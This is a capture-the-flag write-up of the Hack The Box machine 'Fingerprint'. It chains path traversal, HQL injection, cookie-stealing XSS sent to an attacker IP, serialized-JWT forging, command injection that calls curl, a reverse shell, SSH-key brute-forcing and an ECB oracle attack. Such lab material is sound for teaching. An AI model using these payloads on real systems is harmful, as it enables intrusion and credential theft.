HackTheBox - Fingerprint
Fingerprint just retired on Hack The Box. It’s an ‘Insane’ difficulty Linux box.
As usual it was a really well designed box which required a ton of enumeration and going back and forth through all the findings. I had to make a mind-map to keep track of all the interesting findings and each could be linked together. The box doesn’t rely on common vulnerabilities but rather on little configuration and coding errors that allow you to chain vulnerabilities until you can obtain what you need. In the end it’s a tough but awesome box that allowed me to learn new techniques I was unfamiliar with before. Highly recommended.
Tl;Dr: To get the user flag you first had to exploit a Local File Inclusion (LFI) vulnerability in the main app in order to retrieve its source code and database. You can then retrieve working credentials from the database to access the app. Once authenticated you can exploit an XSS to retrieve the user fingerprint which, linked to an HQL Injection allows to completely bypass the authentication in the second app. While connected you can then see a JSON Web Token (JWT) set as a cookie, decoding it return serialized information of the connected user including their Admin status. With more recon you can find some source code of the app, allowing you to retrieve the secret used to sign as well as the serialization logic. Using this information we can forge a new valid token to authenticate as admin. Being Admin unlocks a new feature, which, after reading through the source code, is vulnerable to blind command injection in the cookie decoding process; knowing this we can forge a cookie containing a reserve shell and get our initial access as www-data
user. Once in the box we find a SUID binary belonging to john
with basic grep
functionalities. Since the binary belongs to john
it can access it’s SSH private key, and searching character after character we can brute-force the whole key, connect as john
and grab the user flag.
For the root flag you can find the source code of an improved version of the main application, running on port 8088. The source code shows the implementation of a new cookie logic using AES-ECB encryption. Knowing the weakness of the ECB algorithm we can launch a brute-force attack on the cookie generation logic in order to retrieve the secret used to create cookies. Once we have the secret we can easily forge a cookie for the admin user, exploiting a flaw in the admin cookie verification. Once authenticated as admin
, we can exploit the initial LFI vulnerability we found at the beginning to access root
account SSH private key and grab the flag.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.129.118.212 fingerprint.htb" >> /etc/hosts |
And let’s start!
User flag
Recon
1 | [hg8@archbook ~]$ nmap -sV -sT -sC fingerprint.htb |
On top of the usual SSH port, we can see two web ports open 80
and 8080
, which are respectively a Python Web App and a Sun Glassfish Server.
Once opened, we notice that both websites are simple landing pages and require authentication to use all the functionalities.
On one hand the main server, gobuster
doesn’t allow us to find anything interesting and on the other hand the GlassFish server returns a few available endpoints:
1 | [hg8@archbook ~]$ gobuster dir -u "http://fingerprint.htb:8080/" -w ~/SecLists/Discovery/Web-Content/big.txt |
Unfortunately they all return 404
, we probably need to be logged to access the resources.
Let’s try to focus on the main website to enumerate as much as possible and find useful output.
After trying Clusterbomb mode with ffuf
we can find two new endpoints, /admin/view
and /admin/delete
:
1 | [hg8@archbook ~]$ ffuf -u http://fingerprint.htb/admin/FUZZ/FUZZ -mode clusterbomb -w common.txt -w common.txt |
Local File Inclusion
After digging around for a very long time and trying the most common exploit on both of these endpoints we finally a get positive result!
A Local File Inclusion (LFI) vulnerability in /admin/view
/:
1 | [hg8@archbook ~]$ curl --path-as-is "http://fingerprint.htb/admin/view/../../../../../../../../../../../../../../../../etc/passwd" |
We can see we have two users, john
and flask
.
We know from HTTP request that the server is Werkzeug, a Python Web Server Gateway Interface (WSGI) library. So it does make sense that the web application is running the very common Python web framework Flask.
After a bit of directory brute-force on the server (knowing the common app name format used in Flask project) we manage to retrieve the app.py
:
1 | [hg8@archbook ~]$ curl --path-as-is "http://fingerprint.htb/admin/view/../../../../../../../../../../../../../../../../home/flask/app/app.py" |
Following the breadcrumbs in app.py
we can retrieve other important files:
1 | from .auth import check |
1 | [hg8@archbook ~]$ curl --path-as-is "http://fingerprint.htb/admin/view/../../../../../../../../../../../../../../../../home/flask/app/auth.py" |
users.db database
Upon reading the source code of [app.py](http://app.py)
we know where to get the users.db
database, let’s get it:
1 | [hg8@archbook ~]$ curl --path-as-is "http://fingerprint.htb/admin/view/../../../../../../../../../../../../../../../../home/flask/app/users.db" -o users.db |
After opening it we can find the admin
login and its clear text password:
1 | [hg8@archbook ~]$ sqlite3 users.db |
Ok, we got the admin
credentials and can now connect to the website:
The application only function seems to be displaying the auth.log
file from this admin interface. When opening the file we can notice it’s the authentication log from the other application running on port 8080:
XSS on auth.log
The first thing that comes to mind is log poisoning in order to achieve Remote Code Execution (RCE) from the RFI we found earlier. Unfortunately this won’t be possible since the app is running in Python and not PHP.
We can do self-XSS by inputting JavaScript in the username or password field but that won’t be helpful. Let’s move on.
HQL Injection
I want to take the time to focus on the authentication page of the second app running on port 8080.
As any competent pen tester the first thing I tried was SQL injection on the password field but with no luck. Then I tried setting my username to hg8'
and surprisingly it worked and a QueryException
got raised:
It looks like the password field is filtered for SQL injection but not the username field.
I was unfamiliar with Hibernate
, turns out it’s a query language (HQL):
Hibernate uses a powerful query language (HQL) that is similar in appearance to SQL. Compared with SQL, however, HQL is fully object-oriented and understands notions like inheritance, polymorphism and association.
https://docs.jboss.org/hibernate/core/3.3/reference/en/html/queryhql.html
When trying the most common injection uid=x' OR 1 = 1 and ''='&auth_primary=x&auth_secondary=15ada043824662a14c90f70a82f31a25
we get a new error message:
1 | javax.persistence.NonUniqueResultException: query did not return a unique result: 2 |
Seems like we have 2 users in the database. I manually tried admin
and john
but neither worked.
HQL does not support UNION queries nor comments, which make it difficult to exfiltrate table information.
Then, one technique we can use is substring()
to iterate on each character of the username.
We can imagine the query run by the app being the following format:
1 | SELECT u FROM Users u WHERE u.uid = 'admin' AND authprimary = 'password' AND authsecondary = 'xxx' |
We can try the following injection x' OR SUBSTRING(uid,1,1)='a' and ''='
which will end up in the following query:
1 | SELECT u FROM Users u WHERE u.uid = 'x' OR SUBSTRING(uid,1,1)='a' and ''='' AND auth_primary = 'test' AND auth_secondary = 'xxx' |
We get a new error that seems to mean the uid
field doesn’t exist.
1 | javax.persistence.PersistenceException: org.hibernate.exception.SQLGrammarException: could not extract ResultSet |
Let’s try with username
instead:
1 | uid=x' OR SUBSTRING(username,1,1)='a' and ''='&auth_primary=x&auth_secondary=15ada043824662a14c90f70a82f31a2525 |
Bingo! It works and we get a new error this time about auth_secondary
meaning we probably successfully bypassed the username/password part of the authentication:
Note: We could have guessed the username was admin
and the following payload would have worked as well:
1 | uid=x' OR username='admin' and ''='&auth_primary=x&auth_secondary=15ada043824662a14c90f70a82f31a25 |
The substring
method could have been used to enumerate the username of the second user with a simple script. So far it doesn’t seem necessary.
Let’s now focus on the unusual auth_secondary
parameter sent when trying to log in:
The parameter is the same on every request and looks like an MD5 format.
Checking the page source code we can see the JavaScript file generating the auth_secondary
string at http://fingerprint.htb:8080/resources/js/login.js
1 | function getFingerPrintID() { |
So this is where the name of the box comes from. This function is gathering a lot of information from the client and creating an MD5 fingerprint from concatenating all this data.
We can guess that only the fingerprint of the two users in the database are allowed to connect.
The MD5 hash function comes from a common JavaScript implementation:
1 | var md5 = (function() { |
Given the fingerprint source code is available to us and in a JavaScript format it’s perfect for the XSS vulnerability we found earlier. By hosting the script on our attacker machine we can get the admin to trigger the XSS and exfiltrate his fingerprint for us to reuse.
First let’s modify the script a little so it will give us the fingerprint:
1 | [hg8@archbook ~]$ wget [http://fingerprint.htb:8080/resources/js/login.js](http://fingerprint.htb:8080/resources/js/login.js) |
Then send our XSS payload to show up in the main application auth log.
1 | <script src="http://10.10.14.80:8000/login.js"></script> |
And Bingo! We get the fingerprint of the admin
account:
1 | [hg8@archbook ~]$ python -m http.server |
Let’s now try to log in using this fingerprint ID and the information we retrieved earlier:
But unfortunately, we get hit with an Invalid fingerprint-ID
error again.
This means the fingerprint we retrieved is not from admin
but from the other user we found in the database.
Let’s go back a little and create a quick and dirty enumeration script to retrieve this second user username:
1 | import requests |
After too many failed attempts we get blocked by the server so we can’t retrieve the full username. But it’s ok, the first character is enough for the injection:
1 | [hg8@archbook ~]$ python get_username.py |
Authentication Bypass
Chaining the HQL Injection and the XSS vulnerability we can create our final payload which allow us to bypass the authentication form:
1 | uid=x' OR SUBSTRING(username,1,1)='m' and ''='&auth_primary=x&auth_secondary=962f4a03aa7ebc0515734cf398b0ccd6 |
We access an image uploading website. Playing around with it we can see that all files uploaded end up in an images folder but there doesn’t seem to be any way to exploit it.
Once again, when being stuck let’s go back for more recon to see if any useful information can be found.
Backups
While taking a closer look at the HTTP request we can notice the cookie being set when login contains serialized information, including the username we couldn’t fully ex-filtrate earlier, it’s micheal1235
.
1 | [hg8@archbook ~]$ JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFDMjFwWTJobFlXd3hNak0xIn0.6dfequ2JzMYm2A6wgo6SU_pJWzWgqmGaChbRiXiEgTw |
While continuing the recon with gobuster
we find two Java files in the /backups/
folder: [User.java](http://User.java)
and Profile.java
:
1 | // http://fingerprint.htb:8080/backups/Profile.java |
1 | // http://fingerprint.htb:8080/backups/User.java |
We can see here the application logic of session management and understand how the serialized token we found in our cookie is being created.
An interesting line is the quite simple isAdmin()
check:
1 | public boolean isAdmin() { |
This means if we get control of just the username
field only we can become Admin of the application.
Admin cookie forging
Earlier when we retrieve the [app.py](http://app.py)
file of the main application we obtained the SECRET_KEY
which, in a Flask application, is used to sign session token (JWT). If we can rewrite the serialized cookie to replace the username with admin
we will be able to forge a valid JWT token to give us access to the admin
account.
Using the code source of the [User.java](http://User.java)
we retrieved earlier we can create a script to revert the serialize function after modifying our username to admin
:
1 | // com/admin/security/src/model/AdminSerialize.java |
1 | // com/admin/security/src/model/User.java |
1 | [hg8@archbook ~]$ javac com/admin/security/src/model/AdminSerialize.java |
Let’s use jwt.io to forge the new JWT:
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoick8wQUJYTnlBQ0ZqYjIwdVlXUnRhVzR1YzJWamRYSnBkSGt1YzNKakxtMXZaR1ZzTGxWelpYS1VCTmR6NDErNWF3SUFCRWtBQW1sa1RBQUxabWx1WjJWeWNISnBiblIwQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TUFBaHdZWE56ZDI5eVpIRUFmZ0FCVEFBSWRYTmxjbTVoYldWeEFINEFBWGh3QUFBQUFuUUFRRGRsWmpVeVl6STFNV1k0TURRMFkySXhPRGN3TVRNNU9USTRPVEZrTUdVMU9HTmxPVEU1TkdSbE4yWTFNelZpTVdJMFptRTJZbUptWlRBNE5qYzRaalowQUJSTVYyYzNaMVZTTVVWdFdEZFZUbmh6U25oeFduUUFCV0ZrYldsdSJ9.lPDqZy7OX9cBclkxmK9gAx4SWiad_YFrjezvJO1apCA |
We can now replace our current cookie with the newly forged cookie to access the admin
account.
As admin
the only additional function we seem to get is access to a “Recent Logs” display. At first sight it looks like this admin cookie doesn’t give us access to anything valuable.
Command Injection to Remote Code Execution
Once again let’s go back and check what we might have missed.
One thing I overlooked is the import of UserProfileStorage.java
in the [Profile.java](http://Profile.java)
file. The file is also accessible on the /backups/
folder, let’s take a look:
1 | // http://fingerprint.htb:8080/backups/UserProfileStorage.java |
The following part is very interesting:
1 | if (profile.isAdminProfile()) { // load authentication logs only for super user |
We can quickly identify a Command Injection vulnerability from the username
field.
Let’s break it down to see how it can be exploited.
- We understand the
admin
profile file is being stored in/data/sessions/admin.ser
1 | // User.java:39 |
- The application read the profile file to retrieve session information on the currently connected user.
1 | // Profile.java:38 |
- If the connected user is
admin
then the application usesgrep
and return the logs containing the string “admin”:
1 | final Path path = Paths.get(profileFile.getAbsolutePath()); |
Since we can control the username field through our cookie forging, we can very probably exploit the command injection vulnerability on grep " + user.getUsername();
.
For example if we set our username to admin; id
the following will be run by the application:
1 | // "cat " + AUTH_LOG.getAbsolutePath() + " | grep " + user.getUsername(); |
Let’s create a new script to forge the malicious cookie:
1 | // com/admin/security/src/model/RCE.java |
Let’s build it and grab our cookie:
1 | [hg8@archbook ~]$ javac com/admin/security/src/model/RCE.java |
And the application crash when setting this cookie…
The problem most likely comes from this line:
1 | // User.java:43 |
The application cannot find the correct admin.ser
path since our username
variable is $(curl http://10.10.14.80:8000)
. To bypass this issue we can take advantage of the normalize()
being applied to the path on the following line.
1 | // User.java:44 |
The normalize() method of java.nio.file.Path used to return a path from current path in which all redundant name elements are eliminated.
The precise definition of this method is implementation dependent and it derives a path that does not contain redundant name elements. In many file systems, the “.” and “..” are special names indicating the current directory and parent directory. In those cases all occurrences of “.” are considered redundant and If a “..” is preceded by a non-“..” name then both names are considered redundant.
After a few tries we can find the correct payload that will be normalized as /data/sessions/admin.ser
but still achieve Command Injection when stored in the username
field. We can write this little POC based on the [User.java](http://User.java)
source code to make sure the payload is valid:
1 | import java.nio.file.Paths; |
Let’s update our script with the correct payload:
1 | package com.admin.security.src.model; |
Generate the cookie and open a Python listener:
1 | $ javac com/admin/security/src/model/RCE.java |
And Bingo! Once we set up our new cookie we get a callback.
1 | [hg8@archbook ~]$ python -m http.server |
Using the same methodology we can upload a reverse shell:
1 | [hg8@archbook ~]$ cat hg8.py |
After setting the cookie we get our shell:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Pivot www-data →john
After a lot of enumeration as www-data
on the box, the only thing that catches my eye is a SUID binary belonging to john
called cmatch
.
Sounds like the perfect way to pivot to john
user.
1 | www-data@fingerprint:/$ find / -perm -u=s -type f 2>/dev/null |
It’s the first time I see this binary and I can’t seem to find information about it online. After a few trial and error we can understand it’s some kind of grep
:
1 | www-data@fingerprint:/tmp$ cmatch |
Since cmatch
is running as john
, we can very probably brute-force the SSH key id_rsa
belonging to the user john
.
1 | www-data@fingerprint:/$ cmatch /home/john/.ssh/id_rsa "-----BEGIN RSA PRIVATE KEY-----" |
We can write a simple script to do this:
1 | import os |
Let’s run it:
Until we retrieve the full key:
1 | -----BEGIN RSA PRIVATE KEY----- |
Let’s get a more stable shell and grab the flag:
1 | [hg8@archbook ~]$ ssh -i id_rsa [email protected] |
Root Flag
Recon
Looking around the files owned by john
we stumble upon a backup folder of what looks like the main Flask app (/var/backups/flask-app-secure.bak
).
Let’s now take a look at the backup.
1 | [hg8@archbook ~]$ scp -i id_rsa [email protected]:/var/backups/flask-app-secure.bak flask-app-secure.bak |
The improvement
file talks about a custom crypto, it’s a good indicator as to what to look for since custom crypto are, most of time, mot super strong.
1 | [hg8@archbook ~]$ cat improvements |
So it seems like an improved version of the original Flask app. We can also guess it’s the one running on port 8088:
1 | john@fingerprint:~$ netstat -an --tcp --program |
Let’s forward the port on our machine to work on it easily:
1 | [hg8@archbook ~]$ ssh -L 8088:localhost:8088 -i id_rsa [email protected] |
Reading through the source code of [app.py](http://app.py)
we can see that an encryption logic has been added to the user cookie:
1 | # todo: use stronger passphrase before running app |
Using the XSS we found earlier we can retrieve themicheal1235
cookie in order to analyze the format:
1 | <script>document.location="http://10.10.14.80:8000/"+document.cookie</script> |
We get the following cookie:
1 | [hg8@archbook ~]$ python -m http.server |
Alright, so we know how the cookie is being created, its exact format and how it is encrypted.
If we find a way to retrieve the SECRET
used to create the encrypted cookie we should be able to forge an admin
cookie and authenticate as such.
ECB Attack
From the source code of [app.py](http://app.py)
we know the encryption method used to create cookies is Electectronic Codebook (ECB).
Electronic codebook (ECB)
The simplest (and not to be used anymore) of the encryption modes is the electronic codebook (ECB) mode. The message is divided into blocks, and each block is encrypted separately.
The disadvantage of this method is a lack of diffusion. Because ECB encrypts identical plaintext blocks into identical ciphertext blocks, it does not hide data patterns well. ECB is not recommended for use in cryptographic protocols.
Wikipedia
In ECB mode, each block of plain-text is encrypted independently with the key as illustrated by the diagram below.
Since each block of plain-text is encrypted with the key independently, identical blocks of plain-text will yield identical blocks of cipher-text.
For example if we had aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab
string encrypted with ECB the output will look like so:
Notice how the first two blocks have the same output because they have the same input (‘a’ * 16).
So if we have two 16 byte blocks with the same input, we’ll get the same output. This is the info leak we’ll be abusing (more info on ECB attacks).
Our current situation is perfect to perform an adaptive chosen plain-text attack in order to retrieve the app SECRET
.
The first step needed to attack ECB encryption is determining the block size.
Determining ECB Block Size
To determine the block size we start sending specific lengths of plain-text into our cryptographic oracle (/profile/
endpoint of the Flask application).
With the code below we are sending an increasing number of characters (A
) until the cipher-text (our cookie) increases by one block size.
1 | import requests |
Let’s run it:
1 | [hg8@archbook ~]$ python block_length.py |
At 6 characters, our cipher-text increases by one block size. By subtracting the input length between to block number increases we can find our block length (160 - 128 = 32 bytes).
ECB Attack
The next step is finding the offset of our chosen plain-text start. The offset can usually be found by prepending bytes in increasing length to block size * 2
of a static value until two consecutive blocks of cipher-text are found.
Thanks to the source code we know that we don’t need to calculate the offset of our plain-text (start as the first byte of a block):
1 | # app.py |
We can now start attacking the cipher-text. We’ll attack it by using a static value that’s block size - 1
in length (start_block_gap = 31
). The last byte will get populated with a byte of unknown cipher-text and we record the resultant value as our reference value.
We can then brute-force the unknown byte by iterating though all possible values for the plain-text and comparing it to our reference value until we find a match.
We can come up with the following script in order to brute-force the secret:
1 | import requests |
Running the attack:
1 | [hg8@archbook ~]$ python ecb_attack.py |
And we got an error. It’s because the secret seems to be more than 32 chars. After tweaking our script a bit to use 64 bytes instead (start_block_gap = 63
and block[3] == reference_block[3])
we manage to retrieve the full secret:
1 | [hg8@archbook ~]$ python ecb_attack.py |
Cookie forging - part 2
Alright, now that we have the secret can we find a way to login as admin
? Unfortunately we can only manipulate the username part of the cookie, but if we dig in the code a bit more we notice an interesting flaw in the cookie loading logic:
1 |
|
The split is being run with "," + SECRET + ","
in order to determine the username and if the user is Admin or not.
Knowing the secret we can append ,SECRET,true
to our username like so hg8,7h15_15_4_v3ry_57r0n6_4nd_uncr4ck4bl3_p455phr453!!!,true
and the application should trust us as admin when processing the cookie:
1 | [hg8@archbook ~]$ python |
Let’s now script this to create and receive the correct admin
cookie:
1 | import requests |
Let’s run it:
1 | [hg8@archbook ~]$ python admin_cookie.py |
LFI as root
Among other things a good idea is to try the LFI vulnerability we found at the beginning to see if this updated version is still vulnerable and runs with higher privileges thanks to our admin
cookie.
And… Bingo!
1 | [hg8@archbook ~]$ curl --path-as-is "http://127.0.0.1:8088/admin/view/../../root/.ssh/id_rsa" --cookie "user_id=feb0765bda04614d2f52acc15414e80afb4f34faed3576cfcf70f713ffea485b01b1b06d23e2c6c8eacc793c07597edc4beba4fa5b1c380302525ee6e935282ff30abe9eba1c358b7a675b5e1e9ad7548c9b3fefd732c4a597b9edd3bebc9e1cf45c2407de3a6ead5cc9b932f55fdf92c5dd1d4c7488606dc98abd2d888f12ef" |
1 | [hg8@archbook ~]$ ssh [email protected] -i id_rsa |
References
HQL for Pentesters
Attacking ECB
ECB Byte at a Time
That’s it folks! As always do not hesitate to contact me for any questions or feedback!
See you next time ;)
-hg8